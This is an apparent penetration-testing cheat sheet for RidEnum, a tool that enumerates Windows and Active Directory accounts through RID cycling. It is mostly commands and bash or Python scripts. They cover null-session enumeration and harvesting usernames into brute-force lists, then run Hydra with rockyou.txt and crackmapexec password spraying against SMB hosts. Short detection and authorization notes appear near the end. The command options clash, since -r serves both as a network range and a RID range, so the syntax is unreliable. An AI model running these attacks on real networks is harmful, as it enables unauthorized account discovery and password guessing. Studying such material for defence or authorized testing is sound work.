RidEnum is a specialized tool for performing RID (Relative Identifier) cycling attacks against Windows systems and Active Directory domains. It exploits the predictable nature of RIDs to enumerate valid user accounts and domain information without authentication. Essential for reconnaissance and domain enumeration during authorized penetration tests.
# Install via apt
sudo apt-get update
sudo apt-get install ridenum
# Or manual installation
git clone https://github.com/trustedsec/ridenum
cd ridenum
# Verify installation
python3 ridenum.py -h
# Test script execution
python3 ridenum.py --help
# Check Python dependencies
python3 -c "import impacket; print('Impacket OK')"
| Command | Purpose |
|---|
python3 ridenum.py -r [CIDR] -d [domain] | Enumerate RID on domain |
python3 ridenum.py -r [CIDR] | Standard RID enumeration |
python3 ridenum.py -f [IP] | Enumeration specific host |
python3 ridenum.py -u [username] -p [password] | Authenticated enumeration |
python3 ridenum.py -s | Show domain SID |
RID (Relative Identifier) Structure:
- Complete SID: S-1-5-21-3623811015-3361044348-30300510-1001
└── RID: 1001 (last component)
Well-known RIDs:
- 500: Administrator
- 501: Guest
- 502: KRBTGT (Key Distribution Center)
- 512-1020: Domain groups
- 1000+: User accounts
# Basic enumeration
python3 ridenum.py -r 192.168.1.100
# Example output:
# [*] Enumerating target 192.168.1.100
# [+] RID 500: Administrator
# [+] RID 501: Guest
# [+] RID 512: Domain Admins
# [+] RID 1000: User1
# [+] RID 1001: User2
# Scan CIDR range
python3 ridenum.py -r 192.168.1.0/24
# Scan specific subnet
python3 ridenum.py -r 10.0.0.0/25
# Enumerate with output file
python3 ridenum.py -r 192.168.1.0/24 -o results.txt
# Show domain SID
python3 ridenum.py -f 192.168.1.100 -s
# Example output:
# [+] Domain SID: S-1-5-21-3623811015-3361044348-30300510
# [+] Domain Name: CONTOSO
# Enumerate with credentials
python3 ridenum.py -r 192.168.1.0/24 \
-u "domain\username" \
-p "password"
# Using null session (if enabled)
python3 ridenum.py -r 192.168.1.100 \
-u "" \
-p ""
# With specific domain
python3 ridenum.py -r 192.168.1.100 \
-d "CONTOSO" \
-u "testuser" \
-p "testpass"
#!/bin/bash
# Complete domain enumeration
TARGET_DOMAIN="192.168.1.0/24"
OUTPUT_DIR="./domain_enum"
mkdir -p "$OUTPUT_DIR"
echo "[*] Starting domain enumeration..."
# 1. Enumerate primary domain controller
echo "[*] Step 1: Identifying domain controller"
python3 ridenum.py -r "$TARGET_DOMAIN" -o "$OUTPUT_DIR/dc_scan.txt"
# 2. Extract domain SID
echo "[*] Step 2: Extracting domain SID"
python3 ridenum.py -f 192.168.1.100 -s > "$OUTPUT_DIR/domain_sid.txt"
# 3. Enumerate all users
echo "[*] Step 3: Enumerating user accounts"
python3 ridenum.py -r "$TARGET_DOMAIN" -o "$OUTPUT_DIR/all_users.txt"
# 4. Parse and organize results
echo "[*] Step 4: Processing results"
grep "User:" "$OUTPUT_DIR/all_users.txt" | \
awk '{print $NF}' | sort -u > "$OUTPUT_DIR/users_list.txt"
echo "[+] Enumeration complete - results in $OUTPUT_DIR"
# Run enumeration
python3 ridenum.py -r 192.168.1.0/24 -o users.txt
# Extract just usernames
grep -i "user\|account" users.txt | grep -oE "[A-Za-z0-9_-]+$" | \
sort -u > usernames.txt
# Count discovered accounts
wc -l usernames.txt
# Extract with RID
grep -E "RID [0-9]+" users.txt | \
awk '{print $NF, $(NF-1)}' > rid_mapping.txt
# Identify domain groups
python3 ridenum.py -r 192.168.1.100 -o groups.txt
# Filter for groups
grep -i "group" groups.txt | tee domain_groups.txt
# Extract group names and RIDs
grep -E "RID [0-9]+" groups.txt | \
sed 's/.*RID/RID/' | sort -u > groups_rids.txt
# Sample group structure
cat groups_rids.txt
# RID 512: Domain Admins
# RID 513: Domain Users
# RID 514: Domain Guests
# RID 520: Group Policy Creator Owners
#!/bin/bash
# Scan specific RID ranges
TARGET="192.168.1.100"
echo "[*] Scanning well-known RIDs..."
# Built-in accounts (500-599)
echo "[*] Built-in accounts (RID 500-599)"
python3 ridenum.py -f "$TARGET" -r 500-599
# Domain groups (600-1000)
echo "[*] Domain groups (RID 600-1000)"
python3 ridenum.py -f "$TARGET" -r 600-1000
# User accounts (1000+)
echo "[*] User accounts (RID 1000-2000)"
python3 ridenum.py -f "$TARGET" -r 1000-2000
# Attempt null session (guest access without credentials)
python3 ridenum.py -r 192.168.1.100 \
-u "" \
-p "" \
-o nullsession.txt
# Check for success
if [ -s nullsession.txt ]; then
echo "[+] Null session enumeration successful"
cat nullsession.txt
else
echo "[-] Null session enumeration failed"
fi
# Simple result filtering
python3 ridenum.py -r 192.168.1.100 -o enum.txt
# Show just discovered accounts
cat enum.txt | grep ":" | head -20
# Count accounts by type
echo "[*] Account Summary:"
echo "Groups: $(grep -c 'Group' enum.txt)"
echo "Users: $(grep -c 'User\|Account' enum.txt)"
echo "Computer: $(grep -c 'Computer' enum.txt)"
# Extract users for brute force wordlist
python3 ridenum.py -r 192.168.1.0/24 -o domain_users.txt
# Parse usernames
grep -oE "[a-zA-Z0-9_-]+$" domain_users.txt | \
sort -u > usernames_for_bruteforce.txt
# Use with other tools
# For Hydra
hydra -L usernames_for_bruteforce.txt -p password \
smb://192.168.1.1 -vv
# For crackmapexec
crackmapexec smb 192.168.1.0/24 \
-u usernames_for_bruteforce.txt \
-p "DefaultPassword123!"
#!/bin/bash
# Complete domain recon
DOMAIN_IP="192.168.1.5"
OUTPUT="domain_recon_$(date +%s).txt"
echo "[*] Starting domain reconnaissance..."
echo "[*] Target: $DOMAIN_IP"
echo "[*] Output: $OUTPUT"
# Get domain information
{
echo "=== DOMAIN ENUMERATION REPORT ==="
echo "Date: $(date)"
echo "Target: $DOMAIN_IP"
echo ""
echo "[*] Domain SID and Controllers:"
python3 ridenum.py -f "$DOMAIN_IP" -s
echo ""
echo "[*] User and Group Enumeration:"
python3 ridenum.py -r "$DOMAIN_IP" | head -50
} > "$OUTPUT"
echo "[+] Report saved to $OUTPUT"
#!/bin/bash
# Investigate domain for suspicious accounts
TARGET="192.168.1.100"
SUSPECTS="suspicious_accounts.txt"
echo "[*] Investigating domain for suspicious accounts..."
# Get all users
python3 ridenum.py -r "$TARGET" -o all_accounts.txt
# Check for known suspicious patterns
echo "[*] Checking for suspicious patterns..."
grep -E "admin|test|temp|guest|backup|service" all_accounts.txt | \
grep -v "Domain Admin" > "$SUSPECTS"
if [ -s "$SUSPECTS" ]; then
echo "[!] Suspicious accounts found:"
cat "$SUSPECTS"
else
echo "[+] No obvious suspicious accounts detected"
fi
#!/bin/bash
# Gather information for exploitation
TARGET="192.168.1.0/24"
echo "[*] Pre-exploitation enumeration"
# Create output structure
mkdir -p exploit_prep/{users,groups,computers}
# Enumerate all entities
python3 ridenum.py -r "$TARGET" -o exploit_prep/full_enum.txt
# Extract by type
grep "User" exploit_prep/full_enum.txt > exploit_prep/users/all_users.txt
grep "Group" exploit_prep/full_enum.txt > exploit_prep/groups/all_groups.txt
grep "Computer" exploit_prep/full_enum.txt > exploit_prep/computers/all_computers.txt
# Build target list
grep -oE "[A-Za-z0-9_-]+$" exploit_prep/users/all_users.txt | \
sort -u > exploit_prep/target_accounts.txt
echo "[+] Enumeration data prepared in exploit_prep/"
ls -la exploit_prep/
# 1. Enumerate domain
python3 ridenum.py -r 192.168.1.0/24 -o users.txt
# 2. Extract usernames
grep -oE "[A-Za-z0-9_.-]+$" users.txt | sort -u > cme_users.txt
# 3. Test with credentials
crackmapexec smb 192.168.1.0/24 \
-u cme_users.txt \
-p "Password123" \
--continue-on-success
# 1. Get usernames from RID enumeration
python3 ridenum.py -r 192.168.1.5 -o users.txt
grep -oE "[A-Za-z0-9_-]+$" users.txt > hydra_users.txt
# 2. Run Hydra with discovered users
hydra -L hydra_users.txt \
-P /usr/share/wordlists/rockyou.txt \
smb://192.168.1.5 \
-t 4 \
-vv \
-o hydra_results.txt
| Issue | Solution |
|---|
| No accounts discovered | Target may have null session disabled; try authenticated enumeration |
| Connection refused | Verify target is online and accessible; check firewall rules |
| Permission denied | Use credentials with appropriate privileges or try null session |
| Timeout errors | Reduce network range or increase timeout values |
| No output | Check target system for RPC filtering or endpoint mapper restrictions |
# RID enumeration may be logged
# Monitor for:
# - Windows Event Log ID 4625 (failed logon)
# - Windows Event Log ID 5357 (DCOM access)
# - NetBIOS broadcasts
# - RPC connections to LSASS
# Defenders should:
# - Disable null sessions
# - Monitor RPC traffic
# - Review access logs regularly
- Authorization first - Ensure written permission before enumeration
- Document findings - Keep detailed logs of all discovered accounts
- Credential handling - Securely manage and dispose of valid credentials
- Network awareness - Be mindful of network impact and detection
- Chain of custody - Maintain proper evidence documentation
- Follow-up testing - Use enumeration data for further authorized testing
- Reporting - Clearly document findings for remediation
#!/usr/bin/env python3
import subprocess
import sys
import re
def enumerate_rid(target, output_file):
"""Run RID enumeration on target"""
cmd = f"python3 ridenum.py -r {target} -o {output_file}"
print(f"[*] Running: {cmd}")
subprocess.run(cmd, shell=True)
def parse_results(output_file):
"""Parse enumeration results"""
users = []
groups = []
with open(output_file, 'r') as f:
for line in f:
if 'User' in line or 'Account' in line:
users.append(line.strip())
elif 'Group' in line:
groups.append(line.strip())
return users, groups
def main():
target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"
output = "enum_results.txt"
enumerate_rid(target, output)
users, groups = parse_results(output)
print(f"\n[+] Found {len(users)} users")
print(f"[+] Found {len(groups)} groups")
with open("extracted_users.txt", "w") as f:
for user in users:
f.write(user + "\n")
if __name__ == "__main__":
main()
- Official RidEnum Repository - Latest code and updates
- SANS Penetration Testing - Domain enumeration methodologies
- Microsoft RPC Documentation - Understanding RPC enumeration
- Active Directory Security - Domain security best practices